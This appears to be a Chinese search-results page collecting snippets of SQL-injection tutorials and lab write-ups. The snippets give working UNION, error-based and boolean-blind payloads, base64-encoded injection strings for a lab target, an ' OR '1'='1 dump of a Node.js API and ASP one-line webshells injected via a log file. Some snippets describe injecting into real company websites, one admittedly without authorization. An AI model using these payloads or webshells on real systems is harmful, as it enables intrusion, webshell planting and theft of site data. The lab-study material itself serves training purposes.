精华内容
下载资源
问答
  • SQL注入实战

    2018-11-20 16:55:06
    安全大神冰河亲自制作SQL注入入门级案例,非常适合初学者研究实践SQL注入,更好的提升自身对SQL 漏洞的注入能力和对数据库安全的认识。
  • sql注入实战

    2017-06-08 11:13:12
    本文档描述了sql注入实战技巧。所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令...
  • sql注入实战网站源码

    2019-02-01 18:04:58
    sql注入实战网站的源码 练习工具sql注入 手工sql注入
  • SQL注入实战-MySQL

    2021-02-11 11:01:44
    靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe进入...id=MQo=”可以看出,此处传递时用了base64编码,base64解码“id=MQo=”为1,常用mysql注入语句:这里仅列出常用的信...

    靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe

    进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境。

    4afbb4b3f7dc84311a54999d3923a0b6.png

    Php注入mysql查询语句,由地址中的“?id=MQo=”可以看出,此处传递时用了base64编码,base64解码“id=MQo=”为1,常用mysql注入语句:

    这里仅列出常用的信息注入语句:

    暴出字段数 order by x

    利用内置函数暴出用户名 and 1=2 union select 1,user()

    利用内置函数暴出数据库版本 and 1=2 union select 1,version()

    利用内置函数暴出数据库名称and 1=2 union select 1,database()暴出表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

    暴出字段名:and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x64617461(必须是表名的十六进制表示)

    暴出字段内容:and 1=2 union select 1,字段名 from 表名。

    由上述常用暴库语句可以做出此题目,首先爆出数据库版本、数据库名称的基本名称。

    “1 and 1=2 union select 1,version(); ”经过base64编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHZlcnNpb24oKTs=”,数据库版本为5.5.46-0ubuntu0.14.04.2:

    f3f7e3d163cc1d8e8c0c7fda75867419.png

    “1 and 1=2 union select 1,database();”经过编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCk7”,数据库名称为test:

    9d03d6441f0d60b71bf04b7f477cd35e.png

    “1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database();” 经过base64编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpOw==”,数据库表名为data:

    a8e3857e8f633793aee66268de5562e5.png

    “1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x64617461;” 经过base64编码得到

    “MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPTB4NjQ2MTc0NjE7”,表内字段为id,title,main,thekey:

    ae3591b311d9fca2e887ae3caa239879.png

    “1 and 1=2 union select 1,thekey from data;”

    经过编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRoZWtleSBmcm9tIGRhdGE7”,得到KEY值。

    展开全文
  • sql注入详细教程 寻找存在sql注入的网址 探测过滤 tamper 得到shell
  • sql 注入实战

    2021-11-30 17:56:34
    直接开整 // 后端接口 // get my all todos router.post("/api/todo/list", (req, res) => { let { _openid = 'kong', } = { ...req.body } console.log(_openid) ... const sql = ` ... sqlQuery(sql,

    直接开整


    // 后端接口
    // get my all todos
    router.post("/api/todo/list", (req, res) => {
      let {
        _openid = 'kong',
      } = { ...req.body }
    
      console.log(_openid)
    
      const sql = `
      select * from todo_today 
      where _openid = '${_openid}'
      `
    
      sqlQuery(sql, (data) => {
        res.send({
          errcode: "200",
          errmsg: "查询成功",
          result: data,
          length: data.length
        })
      })
    })
    

    postman
    在这里插入图片描述

    在这里插入图片描述


    注意看 postman post 参数
    {"_openid":"a' OR '1' = '1"}
    
    后端 sql
      const sql = `
      select * from todo_today 
      where _openid = '${_openid}'
      `
    
    执行 sql 时
    select * from todo_today where _openid = 'a' or '1' = '1'
    
    '1' = '1' -> true
    
    所以 sql 相当于
    
    selest * from todo_today
    
    查出了 todo_today 表的所有数据
    
    后端提供的 
    	查询个人 todos 接口
    利用 sql 注入后变成了 
    	查询所有人 todos 接口
    
    如果
    	后端提供了 
    		查询个人信息 接口
    那么
    	利用 sql 注入后变成了 
    		查询所有人个人信息 接口
    

    处理方案

    https://github.com/mysqljs/mysql

    在这里插入图片描述


    喜欢或对你有帮助,请点个赞吧,先自己点个嘿嘿 。

    开发越久,头发越少,且玩且珍惜。

    有错误或者疑问还请评论指出。

    我的个人网站 --> 点击访问


    END

    展开全文
  • SQL注入实战演练

    2021-10-16 14:50:22
    1.如何判断此处是否有SQL注入漏洞? 方法一:输入-1或+1,看是否能够回显上一个或者下一个页面(判断是否有回显)。 方法二:'或" ,看是否显示数据库错误信息,并根据回显内容可以判断是字符型数据还是数字型。 ...

    1.如何判断此处是否有SQL注入漏洞?

    方法一:输入-1或+1,看是否能够回显上一个或者下一个页面(判断是否有回显)。

    方法二:'或"  ,看是否显示数据库错误信息,并根据回显内容可以判断是字符型数据还是数字型。

    方法三:and 1=1 或and 1=2  ,看回显的页面是否不同(布尔类型的状态)。

    方法四:and sleep(5) ,判断页面的返回时间。

    方法五:\  ,判断转义

    2.实例

    2.1 联合查询

    2.1 报错注入

    2.3 布尔盲注

    2.4 延时注入

    2.5 堆叠查询

    2.6 宽字节注入

      宽字节注入属于SQL注入的特殊情况,宽字节注入的目的是绕过单双引号转义。

       下面这个实例是通过用GBK编码825c形成汉字,吃掉\

     

     

    展开全文
  • 测试网站:自建靶场 ...  由以上输出的结果可知,不能使用union注入,此处可以使用Boolean注入,Boolean注入是指在构造SQL判断语句1,通过查看页面的返回结果来推测哪些SQL判断

    测试网站:自建靶场 http://192.168.57.128:1237/sql/boolean.php?id=1
    测试工具:Burp Suite

    1.访问目标测试地址,使用burp进行抓包。返回的测试结果如下所示:

    在这里插入图片描述

    2.使用id=1’ and 1=1%23,id=1’ and 1=2%23,发现返回的结果分别是yes和no,如下所示:在这里插入图片描述

      由以上输出的结果可知,不能使用union注入,此处可以使用Boolean注入,Boolean注入是指在构造SQL判断语句1,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此获取数据库中的数据。

    3.首先判断数据库名字的长度,SQL语句构造如下:
    ' and length (database()) >= 1 -- +
    

    有单引号所以需要注释符来注释。1的位置上可以是任意数字,如 ’ and length (database()) >= 8 - - + 和’ and length (database()) >= 9 - - +,我们可以构造这样的语句,然后观察页面返回结果,如下所示:
    在这里插入图片描述在这里插入图片描述  由上图可知,当数值是8时,返回的结果是yes;而当数值为9时,返回的结果是no。整个语句的意思是,数据库库名的长度大于等于8,结果为yes;大于等于9,结果为no,由此判断出数据库库名的长度为8。

    4.接着,使用逐字判断的方式获取数据库库名。数据库库名的范围一般在a~z、0 ~ 9之内,可能还有一些特殊字符,这里的字母不区分大小写。SQL语句如下所示:
    ' and substr (database(),1,1) = 't' --+
    

      substr是截取的意思,其意思是截取database()的值,从第一个字符开始,每次只返回一个。substr的用法跟limit的有区别,需要注意。limit是从0开始排序,而这里是从1开始排序。可以使用Burp的爆破功能爆破其中的’t’值,如下图所示,发现当值是s时,页面返回yes,其他值均返回no,因此判断数据库库名的第一位为s,如下图所示。
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
      使用如上的方法可以爆破出完整的数据库库名。

    5.由上篇我们已经可以知道数据库库名是security,所以接下来我们爆破表名,SQL语句构造如下:
    ' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)= 't' -- +
    

    在这里插入图片描述  使用如上的方法可以爆破出完整的表名。依次类推我们可以爆破出所有的表名与字段名。

    6.代码分析。
    <?php
    $con=mysqli_connect("192.168.57.128","root","123","security");
    if (mysqli_connect_errno())
    {
    	echo "连接失败: " . mysqli_connect_error();
    }
    $id = $_GET['id'];
    if (preg_match("/union|sleep|benchmark/i", $username)) {
    	exit("no");
    }
    $result = mysqli_query($con,"select * from users where `id`='".$id."'");
    $row = mysqli_fetch_array($result);
    if ($row) {
    	exit("yes");
    }else{
    	exit("no");
    }
    ?>
    

      在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no。

    展开全文
  • 知识铺垫在上一篇中我们在漏洞页面中进行了SQL注入实战之联合查询,这篇文章带来的是SQL注入之报错注入篇。首先我们来细分一下SQL注入分类SQL注入分类:回显正常---> 联合查询 union select回显报错---> ...
  • 按照题目提示,拿MQo=去base64解码,发现是1 tamper是使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。这里只要用tamper转base64encode ...
  • 这是最基本的显错注入 已经给出SQL查询语句 select * from user where id=1 不需要先去判断是字符型还是数字型,去一步一步测出sql查询语句了 废话不多说,直接上解题步骤 1.在url地址栏上 ?id=1 后面拼接 order by ...
  • 打开题目,发现url的id参数有一串base64,MQo=解码,得到1 ok,看来提交的参数都是需要经过base64转码的...使用联合注入 id=-1 union select 1,2 在1,2位置都有回显,id=-1 union select database(),2 判断数据库...
  • 根据题目提示一句话木马,那么这个题其实属于文件上传漏洞,不是SQL注入的范畴了 asp一句话木马 <%eval request("a")%> 直接上传,发现会被过滤掉 用url编码一下:1+and+%3c%25eval+request(%22a%22)%...
  • 测试网站:自建靶场 http://192.168.57.128:1237/sql/error.php?username=1 ...  通过页面返回的结果可以看出,程序直接将错误信息输出到了页面上,所以此处可以利用报错注入来获取数据。 2.报错注入有多种格式,此
  • access通用防注入系统也可以知道注入信息会被记录到sqlin.asp中,这相当于一个文件上传漏洞,可以直接在sqlin.asp中写入一句话 在url后面添加一句话代码and 1=&lt;%eval request("chopper")%&gt;...
  • 网站的SQL注入实战

    千次阅读 2017-07-13 23:05:35
    sql注入是黑客常用的手段之一,最近装了kali系统,所以体会了一把sql注入的感觉,有点体会记录如下:首先我们来看一下如何判断一个网站是可以进行sql注入: 为了把问题说明清楚,以下以...
  • SQL注入实战详解

    2017-03-30 14:38:00
    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。实战技术从这里开始
  • sql注入实战.docx

    2019-06-19 23:05:27
    记录了国外的一个可以被sql注入的网站,以及当前的数据库和表,可以拿来联系sql注入
  • sql注入实战(一)

    2021-01-19 22:40:40
    猜字段数 and 1=1 order by 2 查显错位 and 1=2 union select 1,2 发现没有回显 对比昨天的题目 昨天的显错注入,发现能够查出来回显点在2,3位,而今天的靶场实战查不出回显点,我们尝试盲注。 查数据库的长度 and ...
  • 解题方向上明说了是base64编码,通过链接发现id后面的值确实被加密了,通过base64解码看看 base64编码解码 对id后面的值进行了加密,那么好办了,我们先猜测列的数量 id=1 order by 1对id后面的值进行base64加密 ...
  • 一、粗略判断是否存在sql注入 1.访问链接
  • 无意中发现了一个巨牛巨牛的人工智能教程,忍不住分享一下给大家。教程不仅是零基础,...SQL注入实战 靶场地址:http://219.153.49.228:48204/show.php?id=MQ== 首先可以看到该URL中存在一个参数“MQ==”,从参...
  • 简单sql注入实战

    2017-12-09 23:06:58
    ​写在前面:对于某网http://www.xxxx.com/xxxxx.asp?id=11,我采取了sqlmap和啊D两个工具一起来进行sql注入。当然是只作为学习sqlmap和总结语句用,仅供参考,我们要富强、民主、文明、和谐,自由、平等、公正、...
  • Web渗透-SQL注入实战

    千次阅读 2020-08-16 01:34:27
    1.SQL注入简介 SQL注入是web程序对用户输入数据的合法性没有进行判断,在管理员不知情的情况下进行非法操作。攻击者可以通过提交数据库查询代码,通过程序返回的结果,获取数据库中的信息。SQL注入攻击会导致数据库...
  • 第一次SQL注入渗透实战

    千次阅读 2019-04-24 20:35:19
    作为第一次SQL注入实战,还有很多细节没有补充。我不打算贴实际的网站截图了(怕被查水表),不过会把搭建的DVWA靶机的截图补上。下一篇想写写进入后台之后,如何得到shell的实例。主要写下如何利用上传绕过,将...
  • 记一次对真实网站的SQL注入实战前言发现过程漏洞利用总结 前言 某集团股份有限公司网站存在SQL注入漏洞 发现过程 用针对性工具扫描(这里使用的是超级SQL注入工具)问题网站,得到以下链接均存在SQL注入漏洞 问题URL...
  • SQL注入实战---利用“dbo”获得SQL管理权限和系统权限SQL注入实战---利用“dbo”获得SQL管理权限和系统权限
  • 当你的才华 还撑不起你的野心时 那你就应该静下心来学习 使用...或者直接执行linux命令 注:使用sqlmap交互式写shell,只需知道网站绝对路径和一个注入点 我不需要自由,只想背着她的梦 一步步向前走,她给的永远不重
  • SQL注入实战 绕WTS-WAF

    千次阅读 2021-08-24 20:16:39
    SQL注入的一次实战,手动注入绕过WAF完成注入 目标网站是江苏某公司 未拿到授权,以练习为主 点到为止!绝不做违法的事情 该漏洞已提交至补天漏洞安全响应平台 免责声明 本文章仅供学习和参考。因用于其他用途而产生...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 15,820
精华内容 6,328
关键字:

sql注入实战